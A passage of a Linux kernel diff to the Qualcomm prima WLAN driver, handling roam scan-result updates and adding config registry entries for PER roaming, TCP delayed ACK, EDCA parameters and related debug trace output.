(eCSR_ROAM_RESULT_NONE == roamResult) + if ((eCSR_ROAM_RESULT_NONE == roamResult) || + (pRoamInfo && pRoamInfo->is11rAssoc)) pHddStaCtx->hdd_ReassocScenario = FALSE; } break; @@ -3523,6 +3650,20 @@ eHalStatus hdd_smeRoamCallback( void *pContext, tCsrRoamInfo *pRoamInfo, tANI_U3 pAdapter->maxRateFlags = roamResult; break; } + case eCSR_ROAM_UPDATE_SCAN_RESULT: + if (pRoamInfo && pRoamInfo->pBssDesc) { + bss_status = wlan_hdd_cfg80211_inform_bss_frame(pAdapter, + pRoamInfo->pBssDesc); + if (bss_status) + cfg80211_put_bss( +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0)) || defined(WITH_BACKPORTS) + (WLAN_HDD_GET_CTX(pAdapter))->wiphy, +#endif + bss_status); + else + hddLog(LOG1, FL("UPDATE_SCAN_RESULT returned NULL")); + } + break; default: break; } diff --git a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c index 2693b21606dcd..faaede9f4a9cf 100644 --- a/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c +++ b/drivers/staging/prima/CORE/HDD/src/wlan_hdd_cfg.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -791,19 +791,33 @@ REG_TABLE_ENTRY g_registry_table[] = CFG_ACTIVE_MIN_CHANNEL_TIME_MAX ), REG_VARIABLE( CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_NAME, WLAN_PARAM_Integer, - hdd_config_t, nActiveMaxChnTimeBtc, + hdd_config_t, max_chntime_btc_esco, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_DEFAULT, CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_MIN, CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_MAX ), REG_VARIABLE( CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_NAME, WLAN_PARAM_Integer, - hdd_config_t, nActiveMinChnTimeBtc, + hdd_config_t, min_chntime_btc_esco, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_DEFAULT, CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_MIN, CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_MAX ), + REG_VARIABLE(CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_SCO_NAME, WLAN_PARAM_Integer, + hdd_config_t, min_chntime_btc_sco, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_SCO_DEFAULT, + CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_SCO_MIN, + CFG_ACTIVE_MIN_CHANNEL_TIME_BTC_SCO_MAX ), + + REG_VARIABLE(CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_SCO_NAME, WLAN_PARAM_Integer, + hdd_config_t, max_chntime_btc_sco, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_SCO_DEFAULT, + CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_SCO_MIN, + CFG_ACTIVE_MAX_CHANNEL_TIME_BTC_SCO_MAX ), + REG_VARIABLE( CFG_RETRY_LIMIT_ZERO_NAME, WLAN_PARAM_Integer, hdd_config_t, retryLimitZero, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, @@ -2622,6 +2636,21 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_ENABLE_LPWR_IMG_TRANSITION_MIN, CFG_ENABLE_LPWR_IMG_TRANSITION_MAX ), + REG_VARIABLE( CFG_ENABLE_CONSECUTIVE_BMISS_NAME, WLAN_PARAM_Integer, + hdd_config_t, enable_conc_bmiss, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_CONSECUTIVE_BMISS_DEFAULT, + CFG_ENABLE_CONSECUTIVE_BMISS_MIN, + CFG_ENABLE_CONSECUTIVE_BMISS_MAX ), + + REG_VARIABLE( CFG_ENABLE_UNITS_BEACON_WAIT_NAME, WLAN_PARAM_Integer, + hdd_config_t, enable_units_bwait, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_UNITS_BEACON_WAIT_DEFAULT, + CFG_ENABLE_UNITS_BEACON_WAIT_MIN, + CFG_ENABLE_UNITS_BEACON_WAIT_MAX ), + + #ifdef WLAN_ACTIVEMODE_OFFLOAD_FEATURE REG_VARIABLE( CFG_ACTIVEMODE_OFFLOAD_ENABLE, WLAN_PARAM_Integer, hdd_config_t, fEnableActiveModeOffload, @@ -2776,6 +2805,76 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_ENABLE_FAST_ROAM_IN_CONCURRENCY_MIN, CFG_ENABLE_FAST_ROAM_IN_CONCURRENCY_MAX, cbNotifySetEnableFastRoamInConcurrency, 0 ), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_OFFLOAD_ENABLED, WLAN_PARAM_Integer, + hdd_config_t, isPERRoamEnabled, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_OFFLOAD_ENABLED_DEFAULT, + CFG_PER_ROAM_SCAN_OFFLOAD_ENABLED_MIN, + CFG_PER_ROAM_SCAN_OFFLOAD_ENABLED_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_RATE_UP_THRESHOLD, WLAN_PARAM_Integer, + hdd_config_t, rateUpThreshold, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_RATE_UP_THRESHOLD_DEFAULT, + CFG_PER_ROAM_SCAN_RATE_UP_THRESHOLD_MIN, + CFG_PER_ROAM_SCAN_RATE_UP_THRESHOLD_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_RATE_DOWN_THRESHOLD, WLAN_PARAM_Integer, + hdd_config_t, rateDownThreshold, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_RATE_DOWN_THRESHOLD_DEFAULT, + CFG_PER_ROAM_SCAN_RATE_DOWN_THRESHOLD_MIN, + CFG_PER_ROAM_SCAN_RATE_DOWN_THRESHOLD_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_WAIT_TIME, WLAN_PARAM_Integer, + hdd_config_t, waitPeriodForNextPERScan, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_WAIT_TIME_DEFAULT, + CFG_PER_ROAM_SCAN_WAIT_TIME_MIN, + CFG_PER_ROAM_SCAN_WAIT_TIME_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_PER_TIME_THRESHOLD, WLAN_PARAM_Integer, + hdd_config_t, PERtimerThreshold, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_PER_TIME_THRESHOLD_DEFAULT, + CFG_PER_ROAM_SCAN_PER_TIME_THRESHOLD_MIN, + CFG_PER_ROAM_SCAN_PER_TIME_THRESHOLD_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_RX_MONITOR_ENABLED, WLAN_PARAM_Integer, + hdd_config_t, isPERRoamRxPathEnabled, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_RX_MONITOR_ENABLED_DEFAULT, + CFG_PER_ROAM_SCAN_RX_MONITOR_ENABLED_MIN, + CFG_PER_ROAM_SCAN_RX_MONITOR_ENABLED_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_MIN_PERCENTAGE, WLAN_PARAM_Integer, + hdd_config_t, PERroamTriggerPercent, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_MIN_PERCENTAGE_DEFAULT, + CFG_PER_ROAM_SCAN_MIN_PERCENTAGE_MIN, + CFG_PER_ROAM_SCAN_MIN_PERCENTAGE_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_RX_MIN_PACKETS, WLAN_PARAM_Integer, + hdd_config_t, PERroamRxPktsThreshold, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_RX_MIN_PACKETS_DEFAULT, + CFG_PER_ROAM_SCAN_RX_MIN_PACKETS_MIN, + CFG_PER_ROAM_SCAN_RX_MIN_PACKETS_MAX), + + REG_VARIABLE(CFG_PER_ROAM_SCAN_CCA_ENABLED, WLAN_PARAM_Integer, + hdd_config_t, isPERRoamCCAEnabled, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_SCAN_CCA_ENABLED_DEFAULT, + CFG_PER_ROAM_SCAN_CCA_ENABLED_MIN, + CFG_PER_ROAM_SCAN_CCA_ENABLED_MAX), + + REG_VARIABLE(CFG_PER_ROAM_FULL_SCAN_RSSI_THRESHOLD, WLAN_PARAM_SignedInteger, + hdd_config_t, PERRoamFullScanThreshold, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_PER_ROAM_FULL_SCAN_RSSI_THRESHOLD_DEFAULT, + CFG_PER_ROAM_FULL_SCAN_RSSI_THRESHOLD_MIN, + CFG_PER_ROAM_FULL_SCAN_RSSI_THRESHOLD_MAX), #endif REG_VARIABLE( CFG_ENABLE_ADAPT_RX_DRAIN_NAME, WLAN_PARAM_Integer, @@ -3052,6 +3151,21 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_WLAN_LOGGING_NUM_BUF_DEFAULT, CFG_WLAN_LOGGING_NUM_BUF_MIN, CFG_WLAN_LOGGING_NUM_BUF_MAX ), + + REG_VARIABLE( CFG_WLAN_PKT_STATS_LOGGING_NAME, WLAN_PARAM_Integer, + hdd_config_t, wlanPerPktStatsLogEnable, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_WLAN_PKT_STATS_LOGGING_DEFAULT, + CFG_WLAN_PKT_STATS_LOGGING_DISABLE, + CFG_WLAN_PKT_STATS_LOGGING_ENABLE ), + + REG_VARIABLE( CFG_WLAN_PKT_STATS_NUM_BUF_NAME, WLAN_PARAM_Integer, + hdd_config_t, wlanPerPktStatsNumBuf, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_WLAN_PKT_STATS_NUM_BUF_DEFAULT, + CFG_WLAN_PKT_STATS_NUM_BUF_MIN, + CFG_WLAN_PKT_STATS_NUM_BUF_MAX ), + #endif //WLAN_LOGGING_SOCK_SVC_ENABLE REG_VARIABLE( CFG_IGNORE_PEER_ERP_INFO_NAME, WLAN_PARAM_Integer, @@ -3156,6 +3270,13 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_DISABLE_P2P_MAC_ADDR_SPOOFING_MIN, CFG_DISABLE_P2P_MAC_ADDR_SPOOFING_MAX), + REG_VARIABLE(CFG_ENABLE_FATAL_EVENT_TRIGGER, WLAN_PARAM_Integer, + hdd_config_t, enableFatalEvent, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_FATAL_EVENT_TRIGGER_DEFAULT, + CFG_ENABLE_FATAL_EVENT_TRIGGER_MIN, + CFG_ENABLE_FATAL_EVENT_TRIGGER_MAX), + REG_VARIABLE(CFG_ENABLE_MGMT_LOGGING, WLAN_PARAM_Integer, hdd_config_t, enableMgmtLogging, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, @@ -3376,6 +3497,27 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_BTC_STATIC_OPP_WLAN_IDLE_BT_LEN_MIN, CFG_BTC_STATIC_OPP_WLAN_IDLE_BT_LEN_MAX ), + REG_VARIABLE( CFG_TCP_DELACK_COMPUTE_INTERVAL, WLAN_PARAM_Integer, + hdd_config_t, tcpDelAckComputeInterval, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_TCP_DELACK_COMPUTE_INTERVAL_DEFAULT, + CFG_TCP_DELACK_COMPUTE_INTERVAL_MIN, + CFG_TCP_DELACK_COMPUTE_INTERVAL_MAX), + + REG_VARIABLE( CFG_TCP_DELACK_THRESHOLD_HIGH, WLAN_PARAM_Integer, + hdd_config_t, tcpDelAckThresholdHigh, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_TCP_DELACK_THRESHOLD_HIGH_DEFAULT, + CFG_TCP_DELACK_THRESHOLD_HIGH_MIN, + CFG_TCP_DELACK_THRESHOLD_HIGH_MAX ), + + REG_VARIABLE( CFG_TCP_DELACK_THRESHOLD_LOW, WLAN_PARAM_Integer, + hdd_config_t, tcpDelAckThresholdLow, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_TCP_DELACK_THRESHOLD_LOW_DEFAULT, + CFG_TCP_DELACK_THRESHOLD_LOW_MIN, + CFG_TCP_DELACK_THRESHOLD_LOW_MAX ), + REG_VARIABLE( CFG_LINK_FAIL_TIMEOUT_NAME , WLAN_PARAM_Integer, hdd_config_t, linkFailTimeout, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, @@ -3389,18 +3531,34 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_LINK_FAIL_TX_CNT_DEF, CFG_LINK_FAIL_TX_CNT_MIN, CFG_LINK_FAIL_TX_CNT_MAX ), + REG_VARIABLE( CFG_OPTIMIZE_CA_EVENT_NAME, WLAN_PARAM_Integer, hdd_config_t, gOptimizeCAevent, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, CFG_OPTIMIZE_CA_EVENT_DEFAULT, CFG_OPTIMIZE_CA_EVENT_DISABLE, CFG_OPTIMIZE_CA_EVENT_ENABLE ), - REG_VARIABLE( CFG_ENABLE_CRASH_INJECT, WLAN_PARAM_Integer, - hdd_config_t, crash_inject_enabled, + + REG_VARIABLE(CFG_FWR_MEM_DUMP_NAME, WLAN_PARAM_Integer, + hdd_config_t,enableFwrMemDump, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_FWR_MEM_DUMP_DEF, + CFG_FWR_MEM_DUMP_MIN, + CFG_FWR_MEM_DUMP_MAX), + + REG_VARIABLE( CFG_ACTIVE_PASSIVE_CHAN_CONV_NAME, WLAN_PARAM_Integer, + hdd_config_t, gActivePassiveChCon, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ACTIVE_PASSIVE_CHAN_CONV_DEF, + CFG_ACTIVE_PASSIVE_CHAN_CONV_MIN, + CFG_ACTIVE_PASSIVE_CHAN_CONV_MAX ), + + REG_VARIABLE( CFG_EXT_SCAN_CONC_MODE , WLAN_PARAM_Integer, + hdd_config_t, cfgExtScanConcMode, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, - CFG_ENABLE_CRASH_INJECT_DEFAULT, - CFG_ENABLE_CRASH_INJECT_MIN, - CFG_ENABLE_CRASH_INJECT_MAX), + CFG_EXT_SCAN_CONC_MODE_DEFAULT, + CFG_EXT_SCAN_CONC_MODE_MIN, + CFG_EXT_SCAN_CONC_MODE_MAX ), REG_VARIABLE( CFG_RPS_CPU_MAP_NAME, WLAN_PARAM_HexInteger, hdd_config_t, rps_mask, @@ -3409,20 +3567,173 @@ REG_VARIABLE( CFG_EXTSCAN_ENABLE, WLAN_PARAM_Integer, CFG_RPS_CPU_MAP_MIN, CFG_RPS_CPU_MAP_MAX), - REG_VARIABLE(CFG_SAR_BOFFSET_SET_CORRECTION_NAME, WLAN_PARAM_Integer, - hdd_config_t, boffset_correction_enable, + REG_VARIABLE( CFG_WIFI_CONFIG_ENABLE, WLAN_PARAM_Integer, + hdd_config_t, fEnableWifiConfig, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, - CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT, - CFG_SAR_BOFFSET_SET_CORRECTION_MIN, - CFG_SAR_BOFFSET_SET_CORRECTION_MAX), + CFG_WIFI_CONFIG_DEFAULT, + CFG_WIFI_CONFIG_MIN, + CFG_WIFI_CONFIG_MAX ), + + REG_VARIABLE( CFG_ENABLE_CRASH_INJECT, WLAN_PARAM_Integer, + hdd_config_t, crash_inject_enabled, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_CRASH_INJECT_DEFAULT, + CFG_ENABLE_CRASH_INJECT_MIN, + CFG_ENABLE_CRASH_INJECT_MAX), - REG_VARIABLE(CFG_DISABLE_BAR_WAKEUP_HOST_NAME, WLAN_PARAM_Integer, + REG_VARIABLE( CFG_ENABLE_TCP_DELACK_NAME, WLAN_PARAM_Integer, + hdd_config_t, enable_delack, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_TCP_DELACK_DEFAULT, + CFG_ENABLE_TCP_DELACK_MIN, + CFG_ENABLE_TCP_DELACK_MAX ), + + REG_VARIABLE( CFG_DISABLE_BAR_WAKEUP_HOST_NAME, WLAN_PARAM_Integer, hdd_config_t, disableBarWakeUp, VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, CFG_DISABLE_BAR_WAKEUP_HOST_DEFAULT, CFG_DISABLE_BAR_WAKEUP_HOST_MIN, CFG_DISABLE_BAR_WAKEUP_HOST_MAX), + + REG_VARIABLE( CFG_MAXCHAN_FOR_CHANTIME_CORR_NAME, WLAN_PARAM_Integer, + hdd_config_t, max_chan_for_dwell_time_cfg, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_MAXCHAN_FOR_CHANTIME_CORR_DEFAULT, + CFG_MAXCHAN_FOR_CHANTIME_CORR_MIN, + CFG_MAXCHAN_FOR_CHANTIME_CORR_MAX ), + + REG_VARIABLE(CFG_TDLS_ENABLE_DEFER_TIMER, WLAN_PARAM_Integer, + hdd_config_t, tdls_enable_defer_time, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_TDLS_ENABLE_DEFER_TIMER_DEFAULT, + CFG_TDLS_ENABLE_DEFER_TIMER_MIN, + CFG_TDLS_ENABLE_DEFER_TIMER_MAX), + + REG_VARIABLE(CFG_SAR_BOFFSET_SET_CORRECTION_NAME, WLAN_PARAM_Integer, + hdd_config_t, boffset_correction_enable, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_SAR_BOFFSET_SET_CORRECTION_DEFAULT, + CFG_SAR_BOFFSET_SET_CORRECTION_MIN, + CFG_SAR_BOFFSET_SET_CORRECTION_MAX), + + REG_VARIABLE(CFG_ENABLE_EDCA_INI_NAME, WLAN_PARAM_Integer, + hdd_config_t, enable_edca_params, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_ENABLE_EDCA_INI_DEFAULT, + CFG_ENABLE_EDCA_INI_MIN, + CFG_ENABLE_EDCA_INI_MAX), + + REG_VARIABLE(CFG_EDCA_VO_CWMIN_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vo_cwmin, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VO_CWMIN_VALUE_DEFAULT, + CFG_EDCA_VO_CWMIN_VALUE_MIN, + CFG_EDCA_VO_CWMIN_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_VI_CWMIN_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vi_cwmin, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VI_CWMIN_VALUE_DEFAULT, + CFG_EDCA_VI_CWMIN_VALUE_MIN, + CFG_EDCA_VI_CWMIN_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BK_CWMIN_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_bk_cwmin, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BK_CWMIN_VALUE_DEFAULT, + CFG_EDCA_BK_CWMIN_VALUE_MIN, + CFG_EDCA_BK_CWMIN_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BE_CWMIN_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_be_cwmin, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BE_CWMIN_VALUE_DEFAULT, + CFG_EDCA_BE_CWMIN_VALUE_MIN, + CFG_EDCA_BE_CWMIN_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_VO_CWMAX_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vo_cwmax, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VO_CWMAX_VALUE_DEFAULT, + CFG_EDCA_VO_CWMAX_VALUE_MIN, + CFG_EDCA_VO_CWMAX_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_VI_CWMAX_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vi_cwmax, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VI_CWMAX_VALUE_DEFAULT, + CFG_EDCA_VI_CWMAX_VALUE_MIN, + CFG_EDCA_VI_CWMAX_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BK_CWMAX_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_bk_cwmax, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BK_CWMAX_VALUE_DEFAULT, + CFG_EDCA_BK_CWMAX_VALUE_MIN, + CFG_EDCA_BK_CWMAX_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BE_CWMAX_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_be_cwmax, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BE_CWMAX_VALUE_DEFAULT, + CFG_EDCA_BE_CWMAX_VALUE_MIN, + CFG_EDCA_BE_CWMAX_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_VO_AIFS_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vo_aifs, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VO_AIFS_VALUE_DEFAULT, + CFG_EDCA_VO_AIFS_VALUE_MIN, + CFG_EDCA_VO_AIFS_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_VI_AIFS_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_vi_aifs, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_VI_AIFS_VALUE_DEFAULT, + CFG_EDCA_VI_AIFS_VALUE_MIN, + CFG_EDCA_VI_AIFS_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BK_AIFS_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_bk_aifs, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BK_AIFS_VALUE_DEFAULT, + CFG_EDCA_BK_AIFS_VALUE_MIN, + CFG_EDCA_BK_AIFS_VALUE_MAX), + + REG_VARIABLE(CFG_EDCA_BE_AIFS_VALUE_NAME, WLAN_PARAM_Integer, + hdd_config_t, edca_be_aifs, + VAR_FLAGS_OPTIONAL | + VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_EDCA_BE_AIFS_VALUE_DEFAULT, + CFG_EDCA_BE_AIFS_VALUE_MIN, + CFG_EDCA_BE_AIFS_VALUE_MAX), + + REG_VARIABLE( CFG_SEND_MGMT_PKT_VIA_WQ5_NAME , WLAN_PARAM_Integer, + hdd_config_t, sendMgmtPktViaWQ5, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_SEND_MGMT_PKT_VIA_WQ5_DEF, + CFG_SEND_MGMT_PKT_VIA_WQ5_MIN, + CFG_SEND_MGMT_PKT_VIA_WQ5_MAX ), + + REG_VARIABLE(CFG_SAP_PROBE_RESP_OFFLOAD_NAME, WLAN_PARAM_Integer, + hdd_config_t, sap_probe_resp_offload, + VAR_FLAGS_OPTIONAL | VAR_FLAGS_RANGE_CHECK_ASSUME_DEFAULT, + CFG_SAP_PROBE_RESP_OFFLOAD_DEFAULT, + CFG_SAP_PROBE_RESP_OFFLOAD_MIN, + CFG_SAP_PROBE_RESP_OFFLOAD_MAX), }; /* @@ -3807,6 +4118,8 @@ static void print_hdd_cfg(hdd_context_t *pHddCtx) VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [ignoreDynamicDtimInP2pMode] Value = [%u] ",pHddCtx->cfg_ini->ignoreDynamicDtimInP2pMode); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [enableRxSTBC] Value = [%u] ",pHddCtx->cfg_ini->enableRxSTBC); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gEnableLpwrImgTransition] Value = [%u] ",pHddCtx->cfg_ini->enableLpwrImgTransition); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [enable_conc_bmiss] Value = [%u] ",pHddCtx->cfg_ini->enable_conc_bmiss); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [enable_units_bwait] Value = [%u] ",pHddCtx->cfg_ini->enable_units_bwait); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gEnableSSR] Value = [%u] ",pHddCtx->cfg_ini->enableSSR); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gEnableVhtFor24GHzBand] Value = [%u] ",pHddCtx->cfg_ini->enableVhtFor24GHzBand); @@ -3834,6 +4147,9 @@ static void print_hdd_cfg(hdd_context_t *pHddCtx) VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [disableP2PMacSpoofing] Value = [%u] ", pHddCtx->cfg_ini->disableP2PMacSpoofing); + VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, + "Name = [enableFatalEvent] Value = [%u] ", + pHddCtx->cfg_ini->enableFatalEvent); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gRoamtoDFSChannel] Value = [%u] ",pHddCtx->cfg_ini->allowDFSChannelRoam); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gMaxConcurrentActiveSessions] Value = [%u] ", pHddCtx->cfg_ini->gMaxConcurrentActiveSessions); #ifdef WLAN_FEATURE_AP_HT40_24G @@ -3846,11 +4162,135 @@ static void print_hdd_cfg(hdd_context_t *pHddCtx) VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gDxeReplenishRXTimerVal] Value = [%u] ", pHddCtx->cfg_ini->dxeReplenishRXTimerVal); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [gDxeSSREnable] Value = [%u] ", pHddCtx->cfg_ini->dxeSSREnable); VOS_TRACE(VOS_MODULE_ID_HDD, VOS_TRACE_LEVEL_INFO_HIGH, "Name = [toggleArpBDRates] Value = [%u] ", 